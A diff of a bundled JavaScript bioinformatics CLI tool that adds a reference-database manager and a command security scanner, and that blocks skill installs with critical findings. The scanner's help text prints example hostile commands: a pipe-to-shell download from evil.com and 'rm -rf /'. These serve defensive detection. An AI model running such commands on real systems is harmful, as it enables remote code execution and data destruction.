@@ -15530,10 +16002,10 @@ async function checkAndAutoUpdate() {
|
|
|
15530
16002
|
\u{1F504} \u53D1\u73B0\u65B0\u7248\u672C v${latest}\uFF08\u5F53\u524D v${VERSION2}\uFF09\uFF0C\u6B63\u5728\u81EA\u52A8\u66F4\u65B0...
|
|
15531
16003
|
`)
|
|
15532
16004
|
);
|
|
15533
|
-
const ok = await new Promise((
|
|
16005
|
+
const ok = await new Promise((resolve4) => {
|
|
15534
16006
|
(0, import_child_process2.exec)(
|
|
15535
16007
|
`npm install -g @bgicli/bgicli@${latest} --registry https://registry.npmjs.org`,
|
|
15536
|
-
(error) =>
|
|
16008
|
+
(error) => resolve4(!error)
|
|
15537
16009
|
);
|
|
15538
16010
|
});
|
|
15539
16011
|
if (ok) {
|
|
@@ -15552,21 +16024,21 @@ var SESSION_CTX = {
|
|
|
15552
16024
|
wdirSnapshot: null
|
|
15553
16025
|
};
|
|
15554
16026
|
function installBundledData() {
|
|
15555
|
-
const bundledData = (0,
|
|
15556
|
-
if (!(0,
|
|
16027
|
+
const bundledData = (0, import_path6.join)(__dirname, "..", "data");
|
|
16028
|
+
if (!(0, import_fs6.existsSync)(bundledData)) return;
|
|
15557
16029
|
ensureDirs();
|
|
15558
16030
|
const targets = [
|
|
15559
|
-
{ src: (0,
|
|
15560
|
-
{ src: (0,
|
|
15561
|
-
{ src: (0,
|
|
16031
|
+
{ src: (0, import_path6.join)(bundledData, "workflows"), dest: WORKFLOWS_DIR, name: "Skills (\u751F\u4FE1\u5DE5\u4F5C\u6D41)" },
|
|
16032
|
+
{ src: (0, import_path6.join)(bundledData, "skills"), dest: SKILLS_DIR, name: "Skills (\u533B\u5B66\u4E13\u79D1)" },
|
|
16033
|
+
{ src: (0, import_path6.join)(bundledData, "tools"), dest: TOOLS_DIR, name: "\u5DE5\u5177" }
|
|
15562
16034
|
];
|
|
15563
16035
|
let installed = false;
|
|
15564
16036
|
for (const { src, dest, name } of targets) {
|
|
15565
|
-
if (!(0,
|
|
15566
|
-
const isEmpty = !(0,
|
|
16037
|
+
if (!(0, import_fs6.existsSync)(src)) continue;
|
|
16038
|
+
const isEmpty = !(0, import_fs6.existsSync)(dest) || (0, import_fs6.readdirSync)(dest).length === 0;
|
|
15567
16039
|
if (isEmpty) {
|
|
15568
|
-
(0,
|
|
15569
|
-
(0,
|
|
16040
|
+
(0, import_fs6.mkdirSync)(dest, { recursive: true });
|
|
16041
|
+
(0, import_fs6.cpSync)(src, dest, { recursive: true });
|
|
15570
16042
|
if (!installed) {
|
|
15571
16043
|
process.stdout.write(source_default.dim("\u6B63\u5728\u521D\u59CB\u5316\u5185\u7F6E\u6570\u636E...\n"));
|
|
15572
16044
|
installed = true;
|
|
@@ -15634,9 +16106,19 @@ function printHelp() {
|
|
|
15634
16106
|
console.log(` ${source_default.cyan("/run")} <skill-id> \u4EA4\u4E92\u5F0F\u53C2\u6570\u5411\u5BFC\uFF0C\u81EA\u52A8\u751F\u6210\u5E76\u6267\u884C\u5206\u6790\u811A\u672C`);
|
|
15635
16107
|
console.log(` ${source_default.cyan("/check-env")} [id] \u68C0\u6D4B Skill \u6240\u9700 R/Python \u5305\u662F\u5426\u5DF2\u5B89\u88C5`);
|
|
15636
16108
|
console.log(` ${source_default.cyan("/search")} <\u5173\u952E\u8BCD> \u5728 SkillHub \u641C\u7D22\u5E76\u4E0B\u8F7D\u6280\u80FD ${source_default.dim("[--hub=bgi|clawhub|tencent]")}`);
|
|
15637
|
-
console.log(` ${source_default.cyan("/install")} <url|slug> \u4ECE GitHub \u6216 SkillHub \u5B89\u88C5 Skill`);
|
|
16109
|
+
console.log(` ${source_default.cyan("/install")} <url|slug> \u4ECE GitHub \u6216 SkillHub \u5B89\u88C5 Skill\uFF08\u542B\u5B89\u5168\u626B\u63CF\uFF09`);
|
|
15638
16110
|
console.log(` ${source_default.cyan("/uninstall")} <id> \u5378\u8F7D\u5DF2\u5B89\u88C5\u7684\u7B2C\u4E09\u65B9 Skill`);
|
|
15639
16111
|
console.log();
|
|
16112
|
+
console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u6570\u636E\u5E93\u7BA1\u7406 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
|
|
16113
|
+
console.log(` ${source_default.cyan("/db list")} \u5217\u51FA\u5DF2\u6CE8\u518C\u53C2\u8003\u6570\u636E\u5E93`);
|
|
16114
|
+
console.log(` ${source_default.cyan("/db add")} <\u8DEF\u5F84> \u624B\u52A8\u6CE8\u518C\u6570\u636E\u5E93\u8DEF\u5F84\uFF08\u957F\u671F\u4FDD\u5B58\uFF09`);
|
|
16115
|
+
console.log(` ${source_default.cyan("/db scan")} [\u76EE\u5F55] \u81EA\u52A8\u626B\u63CF\u6587\u4EF6\u7CFB\u7EDF\u67E5\u627E\u5DF2\u77E5\u6570\u636E\u5E93`);
|
|
16116
|
+
console.log(` ${source_default.cyan("/db rm")} <id> \u5220\u9664\u6570\u636E\u5E93\u8BB0\u5F55`);
|
|
16117
|
+
console.log(` ${source_default.cyan("/db download")} [\u540D\u79F0] \u663E\u793A\u6807\u51C6\u6570\u636E\u5E93\u4E0B\u8F7D\u547D\u4EE4`);
|
|
16118
|
+
console.log();
|
|
16119
|
+
console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u5B89\u5168\u626B\u63CF \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
|
|
16120
|
+
console.log(` ${source_default.cyan("/scan")} <\u547D\u4EE4> \u626B\u63CF\u547D\u4EE4\u5B89\u5168\u98CE\u9669 ${source_default.dim("[CRITICAL/HIGH/MEDIUM/LOW]")}`);
|
|
16121
|
+
console.log();
|
|
15640
16122
|
console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u6587\u4EF6 & \u76EE\u5F55 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
|
|
15641
16123
|
console.log(` ${source_default.cyan("/cd")} <\u8DEF\u5F84> \u66F4\u6539\u5DE5\u4F5C\u76EE\u5F55`);
|
|
15642
16124
|
console.log(` ${source_default.cyan("/cwd")} \u663E\u793A\u5F53\u524D\u5DE5\u4F5C\u76EE\u5F55`);
|
|
@@ -15736,10 +16218,10 @@ async function firstRunIfNeeded(rl) {
|
|
|
15736
16218
|
function collectAllSkills() {
|
|
15737
16219
|
const entries = [];
|
|
15738
16220
|
const addFrom = (dir, tag) => {
|
|
15739
|
-
if (!(0,
|
|
15740
|
-
(0,
|
|
16221
|
+
if (!(0, import_fs6.existsSync)(dir)) return;
|
|
16222
|
+
(0, import_fs6.readdirSync)(dir).forEach((f2) => {
|
|
15741
16223
|
try {
|
|
15742
|
-
if ((0,
|
|
16224
|
+
if ((0, import_fs6.statSync)((0, import_path6.join)(dir, f2)).isDirectory()) entries.push({ id: f2, dir, tag });
|
|
15743
16225
|
} catch {
|
|
15744
16226
|
}
|
|
15745
16227
|
});
|
|
@@ -15779,9 +16261,9 @@ async function llmRecommendSkills(userQuery) {
|
|
|
15779
16261
|
const all = collectAllSkills();
|
|
15780
16262
|
const catalogLines = [];
|
|
15781
16263
|
for (const entry of all) {
|
|
15782
|
-
const skillPath = (0,
|
|
15783
|
-
if (!(0,
|
|
15784
|
-
const raw = (0,
|
|
16264
|
+
const skillPath = (0, import_path6.join)(entry.dir, entry.id, "SKILL.md");
|
|
16265
|
+
if (!(0, import_fs6.existsSync)(skillPath)) continue;
|
|
16266
|
+
const raw = (0, import_fs6.readFileSync)(skillPath, "utf8");
|
|
15785
16267
|
const { name, shortDesc } = parseSkillMeta(raw);
|
|
15786
16268
|
const displayName = name || entry.id;
|
|
15787
16269
|
const desc = shortDesc ? ` \u2014 ${shortDesc}` : "";
|
|
@@ -15840,12 +16322,12 @@ async function injectSkill(id, history, injectedSkills, rl, skipConfirm = false)
|
|
|
15840
16322
|
console.log(source_default.dim("\u4F7F\u7528 /sk <\u5173\u952E\u8BCD> \u641C\u7D22"));
|
|
15841
16323
|
return false;
|
|
15842
16324
|
}
|
|
15843
|
-
const skillPath = (0,
|
|
15844
|
-
if (!(0,
|
|
16325
|
+
const skillPath = (0, import_path6.join)(match.dir, match.id, "SKILL.md");
|
|
16326
|
+
if (!(0, import_fs6.existsSync)(skillPath)) {
|
|
15845
16327
|
console.log(source_default.red(`${match.id} \u7F3A\u5C11 SKILL.md`));
|
|
15846
16328
|
return false;
|
|
15847
16329
|
}
|
|
15848
|
-
const content = (0,
|
|
16330
|
+
const content = (0, import_fs6.readFileSync)(skillPath, "utf8");
|
|
15849
16331
|
const { name, shortDesc } = parseSkillMeta(content);
|
|
15850
16332
|
const displayName = name || match.id;
|
|
15851
16333
|
if (!skipConfirm) {
|
|
@@ -15895,9 +16377,9 @@ var FILE_SIZE_LIMIT = 100 * 1024;
|
|
|
15895
16377
|
var DIR_FILE_LIMIT = 20;
|
|
15896
16378
|
function listDirFiles(dirPath) {
|
|
15897
16379
|
try {
|
|
15898
|
-
return (0,
|
|
16380
|
+
return (0, import_fs7.readdirSync)(dirPath).map((f2) => (0, import_path6.join)(dirPath, f2)).filter((p2) => {
|
|
15899
16381
|
try {
|
|
15900
|
-
return (0,
|
|
16382
|
+
return (0, import_fs7.statSync)(p2).isFile();
|
|
15901
16383
|
} catch {
|
|
15902
16384
|
return false;
|
|
15903
16385
|
}
|
|
@@ -15908,7 +16390,7 @@ function listDirFiles(dirPath) {
|
|
|
15908
16390
|
}
|
|
15909
16391
|
function expandSingleFile(resolved) {
|
|
15910
16392
|
try {
|
|
15911
|
-
const stat = (0,
|
|
16393
|
+
const stat = (0, import_fs7.statSync)(resolved);
|
|
15912
16394
|
if (!stat.isFile()) return `[${resolved}: \u4E0D\u662F\u6587\u4EF6]`;
|
|
15913
16395
|
if (stat.size > FILE_SIZE_LIMIT) {
|
|
15914
16396
|
return `
|
|
@@ -15918,7 +16400,7 @@ function expandSingleFile(resolved) {
|
|
|
15918
16400
|
\`\`\`
|
|
15919
16401
|
`;
|
|
15920
16402
|
}
|
|
15921
|
-
const content = (0,
|
|
16403
|
+
const content = (0, import_fs6.readFileSync)(resolved, "utf8");
|
|
15922
16404
|
const lines = content.split("\n");
|
|
15923
16405
|
const preview = lines.length > 150 ? lines.slice(0, 150).join("\n") + `
|
|
15924
16406
|
... (\u5171 ${lines.length} \u884C\uFF0C\u5DF2\u622A\u65AD)` : content;
|
|
@@ -15935,10 +16417,10 @@ ${preview}
|
|
|
15935
16417
|
function expandFileRefs(input) {
|
|
15936
16418
|
return input.replace(/@"([^"]+)"|@'([^']+)'|@([\/\w.*?~:-]+)/g, (match, q1, q2, q3) => {
|
|
15937
16419
|
const rawPath = q1 ?? q2 ?? q3;
|
|
15938
|
-
const expanded = rawPath.replace(/^~/, (0,
|
|
16420
|
+
const expanded = rawPath.replace(/^~/, (0, import_os4.homedir)());
|
|
15939
16421
|
if (rawPath.endsWith("/") || rawPath.endsWith("\\")) {
|
|
15940
|
-
const dirResolved = (0,
|
|
15941
|
-
if (!(0,
|
|
16422
|
+
const dirResolved = (0, import_path6.resolve)(expanded);
|
|
16423
|
+
if (!(0, import_fs6.existsSync)(dirResolved)) return match;
|
|
15942
16424
|
const files = listDirFiles(dirResolved).slice(0, DIR_FILE_LIMIT);
|
|
15943
16425
|
if (files.length === 0) return `[\u76EE\u5F55 ${dirResolved} \u4E3A\u7A7A]`;
|
|
15944
16426
|
const parts = [`
|
|
@@ -15967,8 +16449,8 @@ function expandFileRefs(input) {
|
|
|
15967
16449
|
for (const f2 of matched) parts.push(expandSingleFile(f2));
|
|
15968
16450
|
return parts.join("\n");
|
|
15969
16451
|
}
|
|
15970
|
-
const resolved = (0,
|
|
15971
|
-
if (!(0,
|
|
16452
|
+
const resolved = (0, import_path6.resolve)(expanded);
|
|
16453
|
+
if (!(0, import_fs6.existsSync)(resolved)) return match;
|
|
15972
16454
|
return expandSingleFile(resolved);
|
|
15973
16455
|
});
|
|
15974
16456
|
}
|
|
@@ -15977,11 +16459,11 @@ function snapshotWorkdir(dir) {
|
|
|
15977
16459
|
function walk(d2, depth = 0) {
|
|
15978
16460
|
if (depth > 3) return;
|
|
15979
16461
|
try {
|
|
15980
|
-
for (const entry of (0,
|
|
16462
|
+
for (const entry of (0, import_fs6.readdirSync)(d2)) {
|
|
15981
16463
|
if (entry.startsWith(".") || entry === "node_modules") continue;
|
|
15982
|
-
const full = (0,
|
|
16464
|
+
const full = (0, import_path6.join)(d2, entry);
|
|
15983
16465
|
try {
|
|
15984
|
-
const st2 = (0,
|
|
16466
|
+
const st2 = (0, import_fs6.statSync)(full);
|
|
15985
16467
|
if (st2.isDirectory()) {
|
|
15986
16468
|
walk(full, depth + 1);
|
|
15987
16469
|
} else {
|
|
@@ -16016,7 +16498,7 @@ function saveConversation(history, filename) {
|
|
|
16016
16498
|
}
|
|
16017
16499
|
const now = /* @__PURE__ */ new Date();
|
|
16018
16500
|
const stamp = now.toISOString().slice(0, 16).replace("T", "-").replace(":", "-");
|
|
16019
|
-
const outPath = (0,
|
|
16501
|
+
const outPath = (0, import_path6.resolve)(filename || `bgicli-chat-${stamp}.md`);
|
|
16020
16502
|
const lines = [`# BGI CLI \u5BF9\u8BDD\u8BB0\u5F55
|
|
16021
16503
|
`, `> \u5BFC\u51FA\u65F6\u95F4: ${now.toLocaleString("zh-CN")}
|
|
16022
16504
|
`];
|
|
@@ -16035,7 +16517,7 @@ ${msg.content}
|
|
|
16035
16517
|
`);
|
|
16036
16518
|
}
|
|
16037
16519
|
}
|
|
16038
|
-
(0,
|
|
16520
|
+
(0, import_fs6.writeFileSync)(outPath, lines.join("\n"), "utf8");
|
|
16039
16521
|
console.log(source_default.green(`\u2713 \u5BF9\u8BDD\u5DF2\u4FDD\u5B58: ${outPath}`));
|
|
16040
16522
|
}
|
|
16041
16523
|
var COMPACT_TOKEN_THRESHOLD = 4e4;
|
|
@@ -16378,12 +16860,12 @@ async function handleCommand(input, rl, history, thinkMode, injectedSkills) {
|
|
|
16378
16860
|
console.log(source_default.red(`\u672A\u627E\u5230 Skill: ${targetId}`));
|
|
16379
16861
|
break;
|
|
16380
16862
|
}
|
|
16381
|
-
const skillPath = (0,
|
|
16382
|
-
if (!(0,
|
|
16863
|
+
const skillPath = (0, import_path6.join)(runMatch.dir, runMatch.id, "SKILL.md");
|
|
16864
|
+
if (!(0, import_fs6.existsSync)(skillPath)) {
|
|
16383
16865
|
console.log(source_default.red(`${runMatch.id} \u7F3A\u5C11 SKILL.md`));
|
|
16384
16866
|
break;
|
|
16385
16867
|
}
|
|
16386
|
-
const skillContent = (0,
|
|
16868
|
+
const skillContent = (0, import_fs6.readFileSync)(skillPath, "utf8");
|
|
16387
16869
|
const { name: skillName } = parseSkillMeta(skillContent);
|
|
16388
16870
|
const paramsMatch = skillContent.match(/##\s*(?:必要参数|Required Parameters|参数)[\s\S]*?(?=\n##|$)/i);
|
|
16389
16871
|
const paramsSection = paramsMatch?.[0] ?? "";
|
|
@@ -16421,7 +16903,7 @@ ${paramSummary}
|
|
|
16421
16903
|
console.log(source_default.dim("\n \u6B63\u5728\u751F\u6210\u5E76\u6267\u884C\u5206\u6790\u811A\u672C...\n"));
|
|
16422
16904
|
try {
|
|
16423
16905
|
const runCfg = loadConfig();
|
|
16424
|
-
const reply = await chat(history, runCfg,
|
|
16906
|
+
const reply = await chat(history, runCfg, systemPrompt);
|
|
16425
16907
|
history.push({ role: "assistant", content: reply });
|
|
16426
16908
|
} catch (err) {
|
|
16427
16909
|
console.error(source_default.red(`\u6267\u884C\u5931\u8D25: ${err instanceof Error ? err.message : String(err)}`));
|
|
@@ -16442,9 +16924,9 @@ ${paramSummary}
|
|
|
16442
16924
|
break;
|
|
16443
16925
|
}
|
|
16444
16926
|
for (const entry of skillsToCheck) {
|
|
16445
|
-
const sp = (0,
|
|
16446
|
-
if (!(0,
|
|
16447
|
-
const content = (0,
|
|
16927
|
+
const sp = (0, import_path6.join)(entry.dir, entry.id, "SKILL.md");
|
|
16928
|
+
if (!(0, import_fs6.existsSync)(sp)) continue;
|
|
16929
|
+
const content = (0, import_fs6.readFileSync)(sp, "utf8");
|
|
16448
16930
|
const { name } = parseSkillMeta(content);
|
|
16449
16931
|
console.log(source_default.bold(`
|
|
16450
16932
|
\u68C0\u6D4B ${name || entry.id} \u7684\u4F9D\u8D56\u73AF\u5883:`));
|
|
@@ -16572,8 +17054,8 @@ ${paramSummary}
|
|
|
16572
17054
|
const isGitHub = installArg.includes("github.com") || installArg.includes("gitlab") || installArg.includes("bitbucket") || /^[^/]+\/[^/]+$/.test(installArg);
|
|
16573
17055
|
if (!isGitHub && !installArg.startsWith("http")) {
|
|
16574
17056
|
const slug = installArg.trim();
|
|
16575
|
-
const installTarget2 = (0,
|
|
16576
|
-
if ((0,
|
|
17057
|
+
const installTarget2 = (0, import_path6.join)(SKILLS_DIR, slug);
|
|
17058
|
+
if ((0, import_fs6.existsSync)(installTarget2)) {
|
|
16577
17059
|
console.log(source_default.yellow(`Skill "${slug}" \u5DF2\u5B58\u5728\uFF0C\u5982\u9700\u66F4\u65B0\u8BF7\u5148 /uninstall ${slug}`));
|
|
16578
17060
|
break;
|
|
16579
17061
|
}
|
|
@@ -16581,13 +17063,21 @@ ${paramSummary}
|
|
|
16581
17063
|
`));
|
|
16582
17064
|
try {
|
|
16583
17065
|
const skillMdContent = await downloadSkillMd(slug);
|
|
16584
|
-
|
|
16585
|
-
|
|
17066
|
+
const skillScan = scanSkillMd(skillMdContent);
|
|
17067
|
+
if (skillScan.criticalCount > 0) {
|
|
17068
|
+
console.log(source_default.red(`
|
|
17069
|
+
\u26D4 \u5B89\u5168\u626B\u63CF\u53D1\u73B0 ${skillScan.criticalCount} \u4E2A CRITICAL \u98CE\u9669\uFF0C\u5DF2\u62D2\u7EDD\u5B89\u88C5`));
|
|
17070
|
+
console.log(source_default.dim(` \u4F7F\u7528 /scan \u547D\u4EE4\u68C0\u67E5\u5177\u4F53\u5185\u5BB9`));
|
|
17071
|
+
break;
|
|
17072
|
+
}
|
|
17073
|
+
(0, import_fs6.mkdirSync)(installTarget2, { recursive: true });
|
|
17074
|
+
(0, import_fs6.writeFileSync)((0, import_path6.join)(installTarget2, "SKILL.md"), skillMdContent, "utf8");
|
|
16586
17075
|
const { name: name2, shortDesc: shortDesc2 } = parseSkillMeta(skillMdContent);
|
|
16587
17076
|
console.log(source_default.green(`\u2713 SkillHub Skill \u5B89\u88C5\u6210\u529F!`));
|
|
16588
17077
|
console.log(` ID: ${source_default.cyan(slug)}`);
|
|
16589
17078
|
console.log(` \u540D\u79F0: ${name2 || slug}`);
|
|
16590
17079
|
if (shortDesc2) console.log(` \u529F\u80FD: ${source_default.dim(shortDesc2)}`);
|
|
17080
|
+
if (skillScan.highCount > 0) console.log(source_default.yellow(` \u26A0 \u5305\u542B ${skillScan.highCount} \u4E2A HIGH \u98CE\u9669\u547D\u4EE4\uFF0C\u8BF7\u786E\u8BA4\u6765\u6E90\u53EF\u4FE1`));
|
|
16591
17081
|
console.log(source_default.dim(` \u4F7F\u7528 /sk ${slug} \u52A0\u8F7D`));
|
|
16592
17082
|
} catch (e2) {
|
|
16593
17083
|
const msg = e2 instanceof Error ? e2.message : String(e2);
|
|
@@ -16604,8 +17094,8 @@ ${paramSummary}
|
|
|
16604
17094
|
repoUrl = `https://github.com/${repoUrl}`;
|
|
16605
17095
|
}
|
|
16606
17096
|
const repoName = repoUrl.replace(/\.git$/, "").split("/").pop() ?? "unknown-skill";
|
|
16607
|
-
const installTarget = (0,
|
|
16608
|
-
if ((0,
|
|
17097
|
+
const installTarget = (0, import_path6.join)(SKILLS_DIR, repoName);
|
|
17098
|
+
if ((0, import_fs6.existsSync)(installTarget)) {
|
|
16609
17099
|
console.log(source_default.yellow(`Skill "${repoName}" \u5DF2\u5B58\u5728\uFF0C\u5982\u9700\u66F4\u65B0\u8BF7\u5148 /uninstall ${repoName}`));
|
|
16610
17100
|
break;
|
|
16611
17101
|
}
|
|
@@ -16617,13 +17107,13 @@ ${paramSummary}
|
|
|
16617
17107
|
console.log(source_default.red(`\u5B89\u88C5\u5931\u8D25: ${cloneResult.output || cloneResult.error}`));
|
|
16618
17108
|
break;
|
|
16619
17109
|
}
|
|
16620
|
-
const skillMdPath = (0,
|
|
16621
|
-
if (!(0,
|
|
17110
|
+
const skillMdPath = (0, import_path6.join)(installTarget, "SKILL.md");
|
|
17111
|
+
if (!(0, import_fs6.existsSync)(skillMdPath)) {
|
|
16622
17112
|
console.log(source_default.red(`\u5B89\u88C5\u5931\u8D25: ${repoName} \u7F3A\u5C11 SKILL.md \u6587\u4EF6`));
|
|
16623
17113
|
await executeTool("bash", { command: `rm -rf "${installTarget}"` });
|
|
16624
17114
|
break;
|
|
16625
17115
|
}
|
|
16626
|
-
const content = (0,
|
|
17116
|
+
const content = (0, import_fs6.readFileSync)(skillMdPath, "utf8");
|
|
16627
17117
|
const { name, shortDesc } = parseSkillMeta(content);
|
|
16628
17118
|
console.log(source_default.green(`\u2713 Skill \u5B89\u88C5\u6210\u529F!`));
|
|
16629
17119
|
console.log(` ID: ${source_default.cyan(repoName)}`);
|
|
@@ -16637,8 +17127,8 @@ ${paramSummary}
|
|
|
16637
17127
|
console.log("\u7528\u6CD5: /uninstall <skill-id>");
|
|
16638
17128
|
break;
|
|
16639
17129
|
}
|
|
16640
|
-
const uninstallPath = (0,
|
|
16641
|
-
if (!(0,
|
|
17130
|
+
const uninstallPath = (0, import_path6.join)(SKILLS_DIR, arg);
|
|
17131
|
+
if (!(0, import_fs6.existsSync)(uninstallPath)) {
|
|
16642
17132
|
console.log(source_default.red(`\u672A\u627E\u5230\u5DF2\u5B89\u88C5\u7684 Skill: ${arg}`));
|
|
16643
17133
|
console.log(source_default.dim("\u6CE8\u610F: \u53EA\u80FD\u5378\u8F7D\u901A\u8FC7 /install \u5B89\u88C5\u7684\u7B2C\u4E09\u65B9 Skill"));
|
|
16644
17134
|
break;
|
|
@@ -16657,6 +17147,171 @@ ${paramSummary}
|
|
|
16657
17147
|
}
|
|
16658
17148
|
break;
|
|
16659
17149
|
}
|
|
17150
|
+
// ── /scan — security scanner ──────────────────────────────────────────────
|
|
17151
|
+
case "scan": {
|
|
17152
|
+
if (!arg) {
|
|
17153
|
+
console.log("\u7528\u6CD5: /scan <\u547D\u4EE4\u6216\u4EE3\u7801\u7247\u6BB5>");
|
|
17154
|
+
console.log(source_default.dim('\u793A\u4F8B: /scan "curl http://evil.com | bash"'));
|
|
17155
|
+
console.log(source_default.dim(' /scan "rm -rf /"'));
|
|
17156
|
+
break;
|
|
17157
|
+
}
|
|
17158
|
+
const scanRes = scanCommand(arg);
|
|
17159
|
+
if (scanRes.matches.length === 0) {
|
|
17160
|
+
console.log(source_default.green("\u2713 \u672A\u68C0\u6D4B\u5230\u5B89\u5168\u98CE\u9669"));
|
|
17161
|
+
} else {
|
|
17162
|
+
console.log(source_default.bold("\n \u5B89\u5168\u626B\u63CF\u7ED3\u679C:\n"));
|
|
17163
|
+
const colorFor = (level) => level === "CRITICAL" ? source_default.red.bold : level === "HIGH" ? source_default.yellow.bold : level === "MEDIUM" ? source_default.yellow : source_default.dim;
|
|
17164
|
+
for (const { pattern, matchedText } of scanRes.matches) {
|
|
17165
|
+
const c2 = colorFor(pattern.level);
|
|
17166
|
+
console.log(c2(` [${pattern.level}] ${pattern.reason}`));
|
|
17167
|
+
console.log(source_default.dim(` \u5339\u914D: ${matchedText.substring(0, 100)}`));
|
|
17168
|
+
}
|
|
17169
|
+
console.log();
|
|
17170
|
+
}
|
|
17171
|
+
break;
|
|
17172
|
+
}
|
|
17173
|
+
// ── /db — database manager ────────────────────────────────────────────────
|
|
17174
|
+
case "db": {
|
|
17175
|
+
const [dbSub, ...dbRest] = (arg ?? "").split(/\s+/).filter(Boolean);
|
|
17176
|
+
const dbArg = dbRest.join(" ");
|
|
17177
|
+
switch (dbSub?.toLowerCase()) {
|
|
17178
|
+
case "list":
|
|
17179
|
+
case void 0:
|
|
17180
|
+
case "": {
|
|
17181
|
+
const entries = Object.values(dbRegistry.databases);
|
|
17182
|
+
if (entries.length === 0) {
|
|
17183
|
+
console.log(source_default.dim(" \u6682\u65E0\u5DF2\u6CE8\u518C\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0"));
|
|
17184
|
+
break;
|
|
17185
|
+
}
|
|
17186
|
+
console.log(source_default.bold(`
|
|
17187
|
+
\u5DF2\u6CE8\u518C\u6570\u636E\u5E93 (${entries.length} \u4E2A):
|
|
17188
|
+
`));
|
|
17189
|
+
const byGenome = {};
|
|
17190
|
+
for (const e2 of entries) (byGenome[e2.genome] ??= []).push(e2);
|
|
17191
|
+
for (const [genome, dbs] of Object.entries(byGenome).sort()) {
|
|
17192
|
+
console.log(source_default.cyan(` \u2500\u2500 ${genome} \u2500\u2500`));
|
|
17193
|
+
for (const db of dbs) {
|
|
17194
|
+
const ok = (0, import_fs6.existsSync)(db.path);
|
|
17195
|
+
const icon = ok ? source_default.green("\u2713") : source_default.red("\u2717");
|
|
17196
|
+
const size = db.sizeBytes ? source_default.dim(` [${(db.sizeBytes / 1e9).toFixed(1)}GB]`) : "";
|
|
17197
|
+
console.log(` ${icon} ${source_default.bold(db.label)}${size}`);
|
|
17198
|
+
console.log(` ${source_default.dim("id:")} ${db.id} ${source_default.dim("type:")} ${db.type}`);
|
|
17199
|
+
console.log(` ${source_default.dim(db.path)}`);
|
|
17200
|
+
}
|
|
17201
|
+
console.log();
|
|
17202
|
+
}
|
|
17203
|
+
break;
|
|
17204
|
+
}
|
|
17205
|
+
case "add": {
|
|
17206
|
+
if (!dbArg) {
|
|
17207
|
+
console.log("\u7528\u6CD5: /db add <\u8DEF\u5F84> [\u57FA\u56E0\u7EC4] [\u7C7B\u578B] [\u8BF4\u660E]");
|
|
17208
|
+
console.log(source_default.dim("\u793A\u4F8B: /db add /data/ref/hg38.fa hg38 fasta"));
|
|
17209
|
+
console.log(source_default.dim(" /db add /data/index/hg38_star hg38 star_index STAR\u6BD4\u5BF9\u7D22\u5F15"));
|
|
17210
|
+
break;
|
|
17211
|
+
}
|
|
17212
|
+
const parts = dbArg.trim().split(/\s+/);
|
|
17213
|
+
const dbPath = (0, import_path6.resolve)(parts[0]);
|
|
17214
|
+
if (!(0, import_fs6.existsSync)(dbPath)) {
|
|
17215
|
+
console.log(source_default.yellow(`\u26A0 \u8DEF\u5F84\u4E0D\u5B58\u5728: ${dbPath}\uFF08\u4ECD\u4F1A\u8BB0\u5F55\uFF0C\u8DEF\u5F84\u53EF\u7A0D\u540E\u521B\u5EFA\uFF09`));
|
|
17216
|
+
}
|
|
17217
|
+
const genome = parts[1] ?? "other";
|
|
17218
|
+
const type = parts[2] ?? "other";
|
|
17219
|
+
const label = parts.slice(3).join(" ") || `${type} (${genome})`;
|
|
17220
|
+
const entry = addDbEntry(dbRegistry, { label, type, genome, path: dbPath, source: "manual" });
|
|
17221
|
+
saveDbRegistry(dbRegistry);
|
|
17222
|
+
systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
|
|
17223
|
+
console.log(source_default.green(`\u2713 \u5DF2\u6DFB\u52A0\u6570\u636E\u5E93: ${entry.label}`));
|
|
17224
|
+
console.log(` id: ${source_default.cyan(entry.id)}`);
|
|
17225
|
+
console.log(` \u8DEF\u5F84: ${source_default.dim(entry.path)}`);
|
|
17226
|
+
break;
|
|
17227
|
+
}
|
|
17228
|
+
case "rm":
|
|
17229
|
+
case "remove":
|
|
17230
|
+
case "del": {
|
|
17231
|
+
if (!dbArg) {
|
|
17232
|
+
console.log("\u7528\u6CD5: /db rm <id>");
|
|
17233
|
+
break;
|
|
17234
|
+
}
|
|
17235
|
+
const removed = removeDbEntry(dbRegistry, dbArg.trim());
|
|
17236
|
+
if (removed) {
|
|
17237
|
+
saveDbRegistry(dbRegistry);
|
|
17238
|
+
systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
|
|
17239
|
+
console.log(source_default.green(`\u2713 \u5DF2\u79FB\u9664\u6570\u636E\u5E93: ${dbArg}`));
|
|
17240
|
+
} else {
|
|
17241
|
+
console.log(source_default.red(`\u672A\u627E\u5230\u6570\u636E\u5E93 id: ${dbArg}\uFF0C\u4F7F\u7528 /db list \u67E5\u770B\u5DF2\u6CE8\u518C\u5217\u8868`));
|
|
17242
|
+
}
|
|
17243
|
+
break;
|
|
17244
|
+
}
|
|
17245
|
+
case "scan": {
|
|
17246
|
+
const extraDirs = dbArg ? [dbArg] : [];
|
|
17247
|
+
process.stdout.write(source_default.dim("\n \u6B63\u5728\u626B\u63CF\u6587\u4EF6\u7CFB\u7EDF\u4E2D\u7684\u53C2\u8003\u6570\u636E\u5E93...\n"));
|
|
17248
|
+
